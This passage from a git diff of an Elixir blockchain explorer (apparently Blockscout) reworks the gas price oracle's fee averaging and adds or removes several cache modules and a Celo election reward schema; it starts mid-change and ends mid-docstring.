compose_gas_price(slow_fee, slow_time, exchange_rate, base_fee_wei, slow_priority_fee_per_gas), + average: compose_gas_price(average_fee, average_time, exchange_rate, base_fee_wei, average_priority_fee_per_gas), + fast: compose_gas_price(fast_fee, fast_time, exchange_rate, base_fee_wei, fast_priority_fee_per_gas) } + end - {:ok, gas_prices} - catch - error -> - {:error, error} + defp merge_fees(fees_from_db) do + fees_from_db + |> Stream.map(&Map.delete(&1, :block_number)) + |> Enum.reduce( + &Map.merge(&1, &2, fn + _, nil, nil -> nil + _, val, nil -> [val] + _, nil, acc -> if is_list(acc), do: acc, else: [acc] + _, val, acc -> if is_list(acc), do: [val | acc], else: [val, acc] + end) + ) + |> Map.new(fn + {key, nil} -> + {key, nil} + + {key, value} -> + value = if is_list(value), do: value, else: [value] + count = Enum.count(value) + + value = + value + |> Enum.reduce(Decimal.new(0), fn + fee, sum when is_float(fee) -> + fee |> Decimal.from_float() |> Decimal.add(sum) + + fee, sum -> + Decimal.add(sum, fee) + end) + |> Decimal.div(count) + + {key, value} + end) end + defp compose_gas_price(fee, time, exchange_rate, base_fee, priority_fee) do + %{ + price: fee |> format_wei(), + time: + case time do + time when is_float(time) -> time + %Decimal{} = time -> Decimal.to_float(time) + _ -> nil + end, + fiat_price: fiat_fee(fee, exchange_rate), + base_fee: base_fee |> format_wei(), + priority_fee: base_fee && priority_fee && priority_fee |> Decimal.new() |> Wei.from(:wei) |> format_wei(), + priority_fee_wei: base_fee && priority_fee && priority_fee |> Decimal.new() |> Decimal.round(), + wei: fee && fee |> Wei.to(:wei) |> Decimal.round() + } + end + + defp fiat_fee(fee, exchange_rate) do + fee && + exchange_rate.fiat_value && simple_transaction_gas() && + fee + |> Wei.to(:ether) + |> Decimal.mult(exchange_rate.fiat_value) + |> Decimal.mult(simple_transaction_gas()) + |> Decimal.round(2) + end + + defp priority_with_base_fee(priority, base_fee) do + priority |> Wei.from(:wei) |> Wei.sum(base_fee) + end + + defp gas_price(nil), do: nil + + defp gas_price(value) do + value |> Wei.from(:wei) + end + + defp format_wei(nil), do: nil + + defp format_wei(wei), do: wei |> Wei.to(:gwei) |> Decimal.to_float() |> Float.ceil(2) + + defp global_ttl, do: Application.get_env(:explorer, __MODULE__)[:global_ttl] + + defp simple_transaction_gas, do: Application.get_env(:explorer, __MODULE__)[:simple_transaction_gas] + + defp num_of_blocks, do: Application.get_env(:explorer, __MODULE__)[:num_of_blocks] + + defp safelow, do: Application.get_env(:explorer, __MODULE__)[:safelow_percentile] + + defp average, do: Application.get_env(:explorer, __MODULE__)[:average_percentile] + + defp fast, do: Application.get_env(:explorer, __MODULE__)[:fast_percentile] + + defp safelow_time_coefficient, do: Application.get_env(:explorer, __MODULE__)[:safelow_time_coefficient] + + defp average_time_coefficient, do: Application.get_env(:explorer, __MODULE__)[:average_time_coefficient] + + defp fast_time_coefficient, do: Application.get_env(:explorer, __MODULE__)[:fast_time_coefficient] + defp handle_fallback(:gas_prices) do - # This will get the task PID if one exists and launch a new task if not + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. # See next `handle_fallback` definition - get_async_task() + safe_get_async_task() - {:return, nil} + {:return, get_old_gas_prices()} end defp handle_fallback(:async_task) do # If this gets called it means an async task was requested, but none exists # so a new one needs to be launched {:ok, task} = - Task.start(fn -> + Task.start_link(fn -> try do - result = get_average_gas_price(@num_of_blocks, @safelow, @average, @fast) + {result, acc} = get_average_gas_price(num_of_blocks(), safelow(), average(), fast()) - set_all(result) + set_gas_prices_acc(acc) + set_gas_prices(%ConCache.Item{ttl: global_ttl(), value: result}) + set_old_updated_at(get_updated_at()) + set_updated_at(DateTime.utc_now()) rescue e -> - Logger.debug([ - "Coudn't update gas used gas_prices #{inspect(e)}" + Logger.error([ + "Couldn't update gas used gas_prices", + Exception.format(:error, e, __STACKTRACE__) ]) end @@ -115,53 +386,25 @@ defmodule Explorer.Chain.Cache.GasPriceOracle do {:update, task} end - defp gas_price_percentile_to_gwei(gas_prices, percentile) do - gas_price_wei = percentile(gas_prices, percentile) - - if gas_price_wei do - gas_price_gwei = Wei.to(%Wei{value: Decimal.from_float(gas_price_wei)}, :gwei) - - gas_price_gwei_float = gas_price_gwei |> Decimal.to_float() - - if gas_price_gwei_float > 0.01 do - gas_price_gwei_float - |> Float.ceil(2) - else - gas_price_gwei_float - end - else - nil - end + defp handle_fallback(:gas_prices_acc) do + {:return, []} end - @spec percentile(list, number) :: number | nil - defp percentile([], _), do: nil - defp percentile([x], _), do: x - defp percentile(list, 0), do: Enum.min(list) - defp percentile(list, 100), do: Enum.max(list) - - defp percentile(list, n) when is_list(list) and is_number(n) do - s = Enum.sort(list) - r = n / 100.0 * (length(list) - 1) - f = :erlang.trunc(r) - lower = Enum.at(s, f) - upper = Enum.at(s, f + 1) - lower + (upper - lower) * (r - f) - end + defp handle_fallback(_), do: {:return, nil} # By setting this as a `callback` an async task will be started each time the # `gas_prices` expires (unless there is one already running) - defp async_task_on_deletion({:delete, _, :gas_prices}), do: get_async_task() + defp async_task_on_deletion({:delete, _, :gas_prices}) do + set_old_gas_prices(get_gas_prices()) + safe_get_async_task() + end defp async_task_on_deletion(_data), do: nil - defp cache_period do - "GAS_PRICE_ORACLE_CACHE_PERIOD" - |> System.get_env("") - |> Integer.parse() - |> case do - {integer, ""} -> :timer.seconds(integer) - _ -> @default_cache_period + defp get_average_block_time do + case AverageBlockTime.average_block_time() do + {:error, :disabled} -> nil + average_block_time -> average_block_time |> Duration.to_milliseconds() end end end diff --git a/apps/explorer/lib/explorer/chain/cache/gas_usage.ex b/apps/explorer/lib/explorer/chain/cache/gas_usage.ex deleted file mode 100644 index 467a317631ae..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/gas_usage.ex +++ /dev/null @@ -1,99 +0,0 @@ -defmodule Explorer.Chain.Cache.GasUsage do - @moduledoc """ - Cache for total gas usage. - """ - - require Logger - - import Ecto.Query, - only: [ - from: 2 - ] - - @default_cache_period :timer.hours(2) - config = Application.get_env(:explorer, __MODULE__) - @enabled Keyword.get(config, :enabled) - - use Explorer.Chain.MapCache, - name: :gas_usage, - key: :sum, - key: :async_task, - global_ttl: cache_period(), - ttl_check_interval: :timer.minutes(15), - callback: &async_task_on_deletion(&1) - - alias Explorer.Chain.Transaction - alias Explorer.Repo - - @spec total() :: non_neg_integer() - def total do - cached_value = __MODULE__.get_sum() - - if is_nil(cached_value) do - 0 - else - cached_value - end - end - - defp handle_fallback(:sum) do - # This will get the task PID if one exists and launch a new task if not - # See next `handle_fallback` definition - get_async_task() - - {:return, nil} - end - - defp handle_fallback(:async_task) do - if @enabled do - # If this gets called it means an async task was requested, but none exists - # so a new one needs to be launched - {:ok, task} = - Task.start(fn -> - try do - result = fetch_sum_gas_used() - - set_sum(result) - rescue - e -> - Logger.debug([ - "Coudn't update gas used sum test #{inspect(e)}" - ]) - end - - set_async_task(nil) - end) - - {:update, task} - else - {:update, nil} - end - end - - # By setting this as a `callback` an async task will be started each time the - # `sum` expires (unless there is one already running) - defp async_task_on_deletion({:delete, _, :sum}), do: get_async_task() - - defp async_task_on_deletion(_data), do: nil - - defp cache_period do - "CACHE_TOTAL_GAS_USAGE_PERIOD" - |> System.get_env("") - |> Integer.parse() - |> case do - {integer, ""} -> :timer.seconds(integer) - _ -> @default_cache_period - end - end - - @spec fetch_sum_gas_used() :: non_neg_integer - defp fetch_sum_gas_used do - query = - from( - t0 in Transaction, - select: fragment("SUM(t0.gas_used)") - ) - - Repo.one!(query, timeout: :infinity) || 0 - end -end diff --git a/apps/explorer/lib/explorer/chain/cache/latest_l1_block_number.ex b/apps/explorer/lib/explorer/chain/cache/latest_l1_block_number.ex new file mode 100644 index 000000000000..d7d675b0eef3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/latest_l1_block_number.ex @@ -0,0 +1,15 @@ +defmodule Explorer.Chain.Cache.LatestL1BlockNumber do + @moduledoc """ + Caches latest L1 block number. + """ + + use Explorer.Chain.MapCache, + name: :latest_l1_block_number, + key: :block_number, + ttl_check_interval: :timer.seconds(5), + global_ttl: :timer.seconds(15) + + @dialyzer :no_match + + defp handle_fallback(_key), do: {:return, nil} +end diff --git a/apps/explorer/lib/explorer/chain/cache/min_missing_block.ex b/apps/explorer/lib/explorer/chain/cache/min_missing_block.ex index 47992ab845e6..362a13586190 100644 --- a/apps/explorer/lib/explorer/chain/cache/min_missing_block.ex +++ b/apps/explorer/lib/explorer/chain/cache/min_missing_block.ex @@ -6,6 +6,13 @@ defmodule Explorer.Chain.Cache.MinMissingBlockNumber do use GenServer alias Explorer.Chain + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @default_batch_size 100_000 + @normal_interval 10 + @increased_interval :timer.minutes(20) + @default_last_fetched_number -1 @doc """ Starts a process to periodically update the % of blocks indexed. @@ -16,37 +23,52 @@ defmodule Explorer.Chain.Cache.MinMissingBlockNumber do end @impl true - def init(args) do - Task.start_link(&fetch_min_missing_block/0) + def init(_) do + schedule_next_consolidation(@normal_interval) + {:ok, %{last_fetched_number: @default_last_fetched_number}} + end - schedule_next_consolidation() + def fetch_min_missing_block(last_fetched_number) do + from = last_fetched_number + 1 + to = last_fetched_number + batch_size() + max_block_number = BlockNumber.get_max() - 1 - {:ok, args} - end + {corrected_to, continue?} = if to >= max_block_number, do: {max_block_number, false}, else: {to, true} + + result = Chain.fetch_min_missing_block_cache(from, corrected_to) - def fetch_min_missing_block do - result = Chain.fetch_min_missing_block_cache() + cond do + not is_nil(result) -> + params = %{ + counter_type: "min_missing_block_number", + value: result + } - if result > 0 do - params = %{ - counter_type: "min_missing_block_number", - value: result - } + LastFetchedCounter.upsert(params) + schedule_next_consolidation(@increased_interval) + @default_last_fetched_number - Chain.upsert_last_fetched_counter(params) + continue? -> + schedule_next_consolidation(@normal_interval) + corrected_to + + true -> + schedule_next_consolidation(@increased_interval) + @default_last_fetched_number end end - defp schedule_next_consolidation do - Process.send_after(self(), :fetch_min_missing_block, :timer.minutes(20)) + defp schedule_next_consolidation(interval) do + Process.send_after(self(), :fetch_min_missing_block, interval) end @impl true - def handle_info(:fetch_min_missing_block, state) do - fetch_min_missing_block() - - schedule_next_consolidation() + def handle_info(:fetch_min_missing_block, %{last_fetched_number: last_fetched_number} = state) do + new_last_number = fetch_min_missing_block(last_fetched_number) + {:noreply, %{state | last_fetched_number: new_last_number}} + end - {:noreply, state} + defp batch_size do + Application.get_env(:explorer, __MODULE__)[:batch_size] || @default_batch_size end end diff --git a/apps/explorer/lib/explorer/chain/cache/net_version.ex b/apps/explorer/lib/explorer/chain/cache/net_version.ex deleted file mode 100644 index 43811a076bf6..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/net_version.ex +++ /dev/null @@ -1,27 +0,0 @@ -defmodule Explorer.Chain.Cache.NetVersion do - @moduledoc """ - Caches chain version. - """ - - require Logger - - use Explorer.Chain.MapCache, - name: :net_version, - key: :version - - defp handle_fallback(:version) do - case EthereumJSONRPC.fetch_net_version(Application.get_env(:explorer, :json_rpc_named_arguments)) do - {:ok, value} -> - {:update, value} - - {:error, reason} -> - Logger.debug([ - "Coudn't fetch net_version, reason: #{inspect(reason)}" - ]) - - {:return, nil} - end - end - - defp handle_fallback(_key), do: {:return, nil} -end diff --git a/apps/explorer/lib/explorer/chain/cache/optimism_finalization_period.ex b/apps/explorer/lib/explorer/chain/cache/optimism_finalization_period.ex new file mode 100644 index 000000000000..4de14b059e8d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/optimism_finalization_period.ex @@ -0,0 +1,54 @@ +defmodule Explorer.Chain.Cache.OptimismFinalizationPeriod do + @moduledoc """ + Caches Optimism Finalization period. + """ + + require Logger + + use Explorer.Chain.MapCache, + name: :optimism_finalization_period, + key: :period + + import EthereumJSONRPC, only: [json_rpc: 2, quantity_to_integer: 1] + + alias EthereumJSONRPC.Contract + alias Indexer.Fetcher.Optimism + alias Indexer.Fetcher.Optimism.OutputRoot + + defp handle_fallback(:period) do + optimism_l1_rpc = Application.get_all_env(:indexer)[Optimism][:optimism_l1_rpc] + output_oracle = Application.get_all_env(:indexer)[OutputRoot][:output_oracle] + + # call FINALIZATION_PERIOD_SECONDS() public getter of L2OutputOracle contract on L1 + request = Contract.eth_call_request("0xf4daa291", output_oracle, 0, nil, nil) + + case json_rpc(request, json_rpc_named_arguments(optimism_l1_rpc)) do + {:ok, value} -> + {:update, quantity_to_integer(value)} + + {:error, reason} -> + Logger.debug([ + "Couldn't fetch Optimism finalization period, reason: #{inspect(reason)}" + ]) + + {:return, nil} + end + end + + defp handle_fallback(_key), do: {:return, nil} + + defp json_rpc_named_arguments(optimism_l1_rpc) do + [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: [optimism_l1_rpc], + http_options: [ + recv_timeout: :timer.minutes(10), + timeout: :timer.minutes(10), + pool: :ethereum_jsonrpc + ] + ] + ] + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/state_changes.ex b/apps/explorer/lib/explorer/chain/cache/state_changes.ex new file mode 100644 index 000000000000..5c9abc41f54e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/state_changes.ex @@ -0,0 +1,32 @@ +defmodule Explorer.Chain.Cache.StateChanges do + @moduledoc """ + Caches the transaction state changes for pagination + """ + + alias Explorer.Chain.{Hash, OrderedCache} + alias Explorer.Chain.Transaction.StateChange + + defstruct [:transaction_hash, :state_changes] + + @type t :: %__MODULE__{ + transaction_hash: Hash.t(), + state_changes: [StateChange.t()] + } + + use OrderedCache, + name: :state_changes, + max_size: 10 + + @type element :: t() + + @type id :: Hash.t() + + def element_to_id(%__MODULE__{transaction_hash: transaction_hash}) do + transaction_hash + end + + # in order to always keep just requested changes + def prevails?(a, b) do + a == b + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/token_exchange_rate.ex b/apps/explorer/lib/explorer/chain/cache/token_exchange_rate.ex deleted file mode 100644 index 36d75b86c185..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/token_exchange_rate.ex +++ /dev/null @@ -1,166 +0,0 @@ -defmodule Explorer.Chain.Cache.TokenExchangeRate do - @moduledoc """ - Caches Token USD exchange_rate. - """ - use GenServer - - alias Explorer.Counters.Helper - alias Explorer.ExchangeRates.Source - - @cache_name :token_exchange_rate - @last_update_key "last_update" - - config = Application.get_env(:explorer, Explorer.Chain.Cache.TokenExchangeRate) - @enable_consolidation Keyword.get(config, :enable_consolidation) - - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @impl true - def init(_args) do - create_cache_table() - - {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} - end - - @impl true - def handle_continue(:ok, %{consolidate?: true} = state) do - {:noreply, state} - end - - @impl true - def handle_continue(:ok, state) do - {:noreply, state} - end - - @impl true - def handle_info(:consolidate, state) do - {:noreply, state} - end - - def cache_key(symbol_or_address_hash_str) do - "token_symbol_exchange_rate_#{symbol_or_address_hash_str}" - end - - def fetch(token_hash, address_hash_str) do - if cache_expired?(address_hash_str) || value_is_empty?(address_hash_str) do - Task.start_link(fn -> - update_cache_by_address_hash_str(token_hash, address_hash_str) - end) - end - - cached_value = - address_hash_str - |> cache_key() - |> fetch_from_cache() - - cached_value - end - - # fetching by symbol is not recommended to use because of possible collisions - # fetch() should be used instead - def fetch_by_symbol(token_hash, symbol) do - if cache_expired?(symbol) || value_is_empty?(symbol) do - Task.start_link(fn -> - update_cache_by_symbol(token_hash, symbol) - end) - end - - cached_value = - symbol - |> cache_key() - |> fetch_from_cache() - - cached_value - end - - def cache_name, do: @cache_name - - defp cache_expired?(symbol_or_address_hash_str) do - cache_period = token_exchange_rate_cache_period() - updated_at = fetch_from_cache("#{cache_key(symbol_or_address_hash_str)}_#{@last_update_key}") - - cond do - is_nil(updated_at) -> true - Helper.current_time() - updated_at > cache_period -> true - true -> false - end - end - - defp value_is_empty?(symbol_or_address_hash_str) do - value = - symbol_or_address_hash_str - |> cache_key() - |> fetch_from_cache() - - is_nil(value) || value == 0 - end - - defp update_cache_by_symbol(_token_hash, symbol) do - put_into_cache("#{cache_key(symbol)}_#{@last_update_key}", Helper.current_time()) - - exchange_rate = fetch_token_exchange_rate(symbol, true) - - put_into_cache(cache_key(symbol), exchange_rate) - end - - defp update_cache_by_address_hash_str(_token_hash, address_hash_str) do - put_into_cache("#{cache_key(address_hash_str)}_#{@last_update_key}", Helper.current_time()) - - exchange_rate = fetch_token_exchange_rate_by_address(address_hash_str, true) - - put_into_cache(cache_key(address_hash_str), exchange_rate) - end - - def fetch_token_exchange_rate(symbol, internal_call? \\ false) do - case Source.fetch_exchange_rates_for_token(symbol) do - {:ok, [rates]} -> - rates.usd_value - - {:error, "Could not find coin with the given id"} -> - if internal_call?, do: :not_found_coingecko, else: nil - - _ -> - nil - end - end - - def fetch_token_exchange_rate_by_address(address_hash_str, internal_call? \\ false) do - case Source.fetch_exchange_rates_for_token_address(address_hash_str) do - {:ok, [rates]} -> - rates.usd_value - - {:error, "Could not find coin with the given id"} -> - if internal_call?, do: :not_found_coingecko, else: nil - - _ -> - nil - end - end - - defp fetch_from_cache(key) do - Helper.fetch_from_cache(key, @cache_name) - end - - def put_into_cache(key, value) do - if cache_table_exists?() do - :ets.insert(@cache_name, {key, value}) - end - end - - def cache_table_exists? do - :ets.whereis(@cache_name) !== :undefined - end - - def create_cache_table do - Helper.create_cache_table(@cache_name) - end - - def enable_consolidation?, do: @enable_consolidation - - defp token_exchange_rate_cache_period do - Helper.cache_period("CACHE_TOKEN_EXCHANGE_RATE_PERIOD", 1) - end -end diff --git a/apps/explorer/lib/explorer/chain/cache/transaction.ex b/apps/explorer/lib/explorer/chain/cache/transaction.ex deleted file mode 100644 index a386127aa3e0..000000000000 --- a/apps/explorer/lib/explorer/chain/cache/transaction.ex +++ /dev/null @@ -1,86 +0,0 @@ -defmodule Explorer.Chain.Cache.Transaction do - @moduledoc """ - Cache for estimated transaction count. - """ - - @default_cache_period :timer.hours(2) - - use Explorer.Chain.MapCache, - name: :transaction_count, - key: :count, - key: :async_task, - global_ttl: cache_period(), - ttl_check_interval: :timer.minutes(15), - callback: &async_task_on_deletion(&1) - - require Logger - - alias Ecto.Adapters.SQL - alias Explorer.Chain.Transaction - alias Explorer.Repo - - @doc """ - Estimated count of `t:Explorer.Chain.Transaction.t/0`. - - Estimated count of both collated and pending transactions using the transactions table statistics. - """ - @spec estimated_count() :: non_neg_integer() - def estimated_count do - cached_value = __MODULE__.get_count() - - if is_nil(cached_value) do - %Postgrex.Result{rows: [[rows]]} = - SQL.query!(Repo, "SELECT reltuples::BIGINT AS estimate FROM pg_class WHERE relname='transactions'") - - rows - else - cached_value - end - end - - defp handle_fallback(:count) do - # This will get the task PID if one exists and launch a new task if not - # See next `handle_fallback` definition - get_async_task() - - {:return, nil} - end - - defp handle_fallback(:async_task) do - # If this gets called it means an async task was requested, but none exists - # so a new one needs to be launched - {:ok, task} = - Task.start(fn -> - try do - result = Repo.aggregate(Transaction, :count, :hash, timeout: :infinity) - - set_count(result) - rescue - e -> - Logger.debug([ - "Coudn't update transaction count test #{inspect(e)}" - ]) - end - - set_async_task(nil) - end) - - {:update, task} - end - - # By setting this as a `callback` an async task will be started each time the - # `count` expires (unless there is one already running) - defp async_task_on_deletion({:delete, _, :count}), do: get_async_task() - - defp async_task_on_deletion(_data), do: nil - - defp cache_period do - "CACHE_TXS_COUNT_PERIOD" - |> System.get_env("") - |> Integer.parse() - |> case do - {integer, ""} -> :timer.seconds(integer) - _ -> @default_cache_period - end - end -end diff --git a/apps/explorer/lib/explorer/chain/cache/transaction_action_tokens_data.ex b/apps/explorer/lib/explorer/chain/cache/transaction_action_tokens_data.ex new file mode 100644 index 000000000000..976bfbae4a35 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/transaction_action_tokens_data.ex @@ -0,0 +1,61 @@ +defmodule Explorer.Chain.Cache.TransactionActionTokensData do + @moduledoc """ + Caches tokens data for Indexer.Transform.TransactionActions. + """ + use GenServer + + @cache_name :transaction_actions_tokens_data_cache + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + create_cache_table() + {:ok, %{}} + end + + def create_cache_table do + if :ets.whereis(@cache_name) == :undefined do + :ets.new(@cache_name, [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ]) + end + end + + def fetch_from_cache(address) do + with info when info != :undefined <- :ets.info(@cache_name), + [{_, value}] <- :ets.lookup(@cache_name, address) do + value + else + _ -> %{symbol: nil, decimals: nil} + end + end + + def put_to_cache(address, data) do + if not :ets.member(@cache_name, address) do + # we need to add a new item to the cache, but don't exceed the limit + cache_size = :ets.info(@cache_name, :size) + + how_many_to_remove = cache_size - get_max_token_cache_size() + 1 + + range = Range.new(1, how_many_to_remove, 1) + + for _step <- range do + :ets.delete(@cache_name, :ets.first(@cache_name)) + end + end + + :ets.insert(@cache_name, {address, data}) + end + + defp get_max_token_cache_size do + Application.get_env(:explorer, __MODULE__)[:max_cache_size] + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/transaction_action_uniswap_pools.ex b/apps/explorer/lib/explorer/chain/cache/transaction_action_uniswap_pools.ex new file mode 100644 index 000000000000..4e7719768f2f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/transaction_action_uniswap_pools.ex @@ -0,0 +1,44 @@ +defmodule Explorer.Chain.Cache.TransactionActionUniswapPools do + @moduledoc """ + Caches Uniswap pools for Indexer.Transform.TransactionActions. + """ + use GenServer + + @cache_name :transaction_actions_uniswap_pools_cache + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + create_cache_table() + {:ok, %{}} + end + + def create_cache_table do + if :ets.whereis(@cache_name) == :undefined do + :ets.new(@cache_name, [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ]) + end + end + + def fetch_from_cache(pool_address) do + with info when info != :undefined <- :ets.info(@cache_name), + [{_, value}] <- :ets.lookup(@cache_name, pool_address) do + value + else + _ -> nil + end + end + + def put_to_cache(address, value) do + :ets.insert(@cache_name, {address, value}) + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/transactions_api_v2.ex b/apps/explorer/lib/explorer/chain/cache/transactions_api_v2.ex new file mode 100644 index 000000000000..0a5cf715c1bc --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/transactions_api_v2.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Chain.Cache.TransactionsApiV2 do + @moduledoc """ + Caches the latest imported transactions + """ + + alias Explorer.Chain.Transaction + + use Explorer.Chain.OrderedCache, + name: :transactions_api_v2, + max_size: 51, + preloads: [ + :block, + created_contract_address: :names, + from_address: :names, + to_address: :names + ], + ttl_check_interval: Application.get_env(:explorer, __MODULE__)[:ttl_check_interval], + global_ttl: Application.get_env(:explorer, __MODULE__)[:global_ttl] + + @type element :: Transaction.t() + + @type id :: {non_neg_integer(), non_neg_integer()} + + def element_to_id(%Transaction{block_number: block_number, index: index}) do + {block_number, index} + end +end diff --git a/apps/explorer/lib/explorer/chain/celo/election_reward.ex b/apps/explorer/lib/explorer/chain/celo/election_reward.ex new file mode 100644 index 000000000000..c5994ce9207e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/celo/election_reward.ex @@ -0,0 +1,459 @@ +defmodule Explorer.Chain.Celo.ElectionReward do + @moduledoc """ + Represents the rewards distributed in an epoch election. Each reward has a + type, and each type of reward is paid in a specific token. The rewards are + paid to an account address and are also associated with another account + address. + + ## Reward Types and Addresses + + Here is the breakdown of what each address means for each type of reward: + + - `voter`: + - Account address: The voter address. + - Associated account address: The group address. + - `validator`: + - Account address: The validator address. + - Associated account address: The validator group address. + - `group`: + - Account address: The validator group address. + - Associated account address: The validator address that the reward was paid + on behalf of. + - `delegated_payment`: + - Account address: The beneficiary receiving the part of the reward on + behalf of the validator. + - Associated account address: The validator that set the delegation of a + part of their reward to some external address. + """ + + use Explorer.Schema + + import Explorer.PagingOptions, only: [default_paging_options: 0] + import Ecto.Query, only: [from: 2, where: 3, group_by: 3, select: 3] + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + alias Explorer.Chain.Cache.CeloCoreContracts + alias Explorer.{Chain, SortingHelper} + alias Explorer.Chain.{Address, Address.Reputation, Celo.Epoch, Hash, Token, Wei} + + @type type :: :voter | :validator | :group | :delegated_payment + @types_enum ~w(voter validator group delegated_payment)a + + @reward_type_url_string_to_atom %{ + "voter" => :voter, + "validator" => :validator, + "group" => :group, + "delegated-payment" => :delegated_payment + } + + @reward_type_string_to_atom %{ + "voter" => :voter, + "validator" => :validator, + "group" => :group, + "delegated_payment" => :delegated_payment + } + + @reward_type_atom_to_token_atom %{ + :voter => :celo_token, + :validator => :usd_token, + :group => :usd_token, + :delegated_payment => :usd_token + } + + @required_attrs ~w(amount type epoch_number account_address_hash associated_account_address_hash)a + + @primary_key false + typed_schema "celo_election_rewards" do + field(:amount, Wei, null: false) + + field( + :type, + Ecto.Enum, + values: @types_enum, + null: false, + primary_key: true + ) + + belongs_to(:epoch, Epoch, + primary_key: true, + foreign_key: :epoch_number, + references: :number, + type: :integer + ) + + belongs_to( + :account_address, + Address, + primary_key: true, + foreign_key: :account_address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + belongs_to( + :associated_account_address, + Address, + primary_key: true, + foreign_key: :associated_account_address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + field(:token, :any, virtual: true) :: Token.t() | nil + + timestamps() + end + + @spec changeset( + Explorer.Chain.Celo.ElectionReward.t(), + map() + ) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = rewards, attrs) do + rewards + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:block_hash) + |> foreign_key_constraint(:account_address_hash) + |> foreign_key_constraint(:associated_account_address_hash) + end + + @doc """ + Returns the list of election reward types. + """ + @spec types() :: [type] + def types, do: @types_enum + + @doc """ + Converts a reward type url string to its corresponding atom. + + ## Parameters + - `type_string` (`String.t()`): The string representation of the reward type. + + ## Returns + - `{:ok, type}` if the string is valid, `:error` otherwise. + + ## Examples + + iex> ElectionReward.type_from_url_string("voter") + {:ok, :voter} + + iex> ElectionReward.type_from_url_string("invalid") + :error + """ + @spec type_from_url_string(String.t()) :: {:ok, type} | :error + def type_from_url_string(type_string) do + Map.fetch(@reward_type_url_string_to_atom, type_string) + end + + @doc """ + Converts a reward type string to its corresponding atom. + + ## Parameters + - `type_string` (`String.t()`): The string representation of the reward type. + + ## Returns + - `{:ok, type}` if the string is valid, `:error` otherwise. + + ## Examples + + iex> ElectionReward.type_from_string("voter") + {:ok, :voter} + + iex> ElectionReward.type_from_string("invalid") + :error + """ + @spec type_from_string(String.t()) :: {:ok, type} | :error + def type_from_string(type_string) do + Map.fetch(@reward_type_string_to_atom, type_string) + end + + @doc """ + Retrieves aggregated election rewards by block hash. + + ## Parameters + - `block_hash` (`Hash.Full.t()`): The block hash to aggregate election + rewards. + - `options` (`Keyword.t()`): Optional parameters for fetching data. + + ## Returns + - `%{atom() => Wei.t() | nil}`: A map of aggregated election rewards by type. + + ## Examples + + iex> block_hash = %Hash.Full{ + ...> byte_count: 32, + ...> bytes: <<0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b :: big-integer-size(32)-unit(8)>> + ...> } + iex> Explorer.Chain.Celo.Reader.epoch_number_to_rewards_aggregated_by_type(block_hash) + %{voter_reward: %{total: %Decimal{}, count: 2}, ...} + """ + @spec epoch_number_to_rewards_aggregated_by_type(integer(), Keyword.t()) :: + %{atom() => %{total: Decimal.t(), count: integer(), token: map() | nil}} + def epoch_number_to_rewards_aggregated_by_type(epoch_number, options \\ []) do + reward_type_to_aggregated_rewards = + __MODULE__ + |> where([r], r.epoch_number == ^epoch_number) + |> group_by([r], r.type) + |> select([r], {r.type, sum(r.amount), count(r)}) + |> Chain.select_repo(options).all() + |> Map.new(fn {type, total, count} -> + {type, %{total: total, count: count}} + end) + + reward_type_to_token = election_reward_tokens_by_type() + + @types_enum + |> Map.new(&{&1, %{total: Decimal.new(0), count: 0}}) + |> Map.merge(reward_type_to_aggregated_rewards) + |> Map.new(fn {type, aggregated_reward} -> + token = reward_type_to_token[type] + aggregated_reward_with_token = Map.put(aggregated_reward, :token, token) + {type, aggregated_reward_with_token} + end) + end + + # Retrieves the token for each type of election reward. + # + # ## Parameters + # - `options` (`Keyword.t()`): Optional parameters for fetching data. + # + # ## Returns + # - `%{atom() => Token.t() | nil}`: A map of reward types to token. + # + # ## Examples + # + # iex> epoch_number = %Hash.Full{ + # ...> byte_count: 32, + # ...> bytes: <<0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b :: big-integer-size(32)-unit(8)>> + # ...> } + # iex> Explorer.Chain.Celo.ElectionReward.election_reward_token_addresses_by_type(epoch_number) + # %{voter_reward: %Token{}, ...} + @spec election_reward_tokens_by_type :: %{atom() => Token.t() | nil} + defp election_reward_tokens_by_type do + reward_type_to_token_address_hash = reward_type_to_token_address_hash() + + tokens = + reward_type_to_token_address_hash + |> Map.values() + |> Token.get_by_contract_address_hashes( + api?: true, + necessity_by_association: %{ + reputation_association() => :optional + } + ) + + reward_type_to_token_address_hash + |> Map.new(fn {type, address_hash} -> + token = Enum.find(tokens, &(&1.contract_address_hash == address_hash)) + {type, token} + end) + end + + @doc """ + Retrieves election rewards by 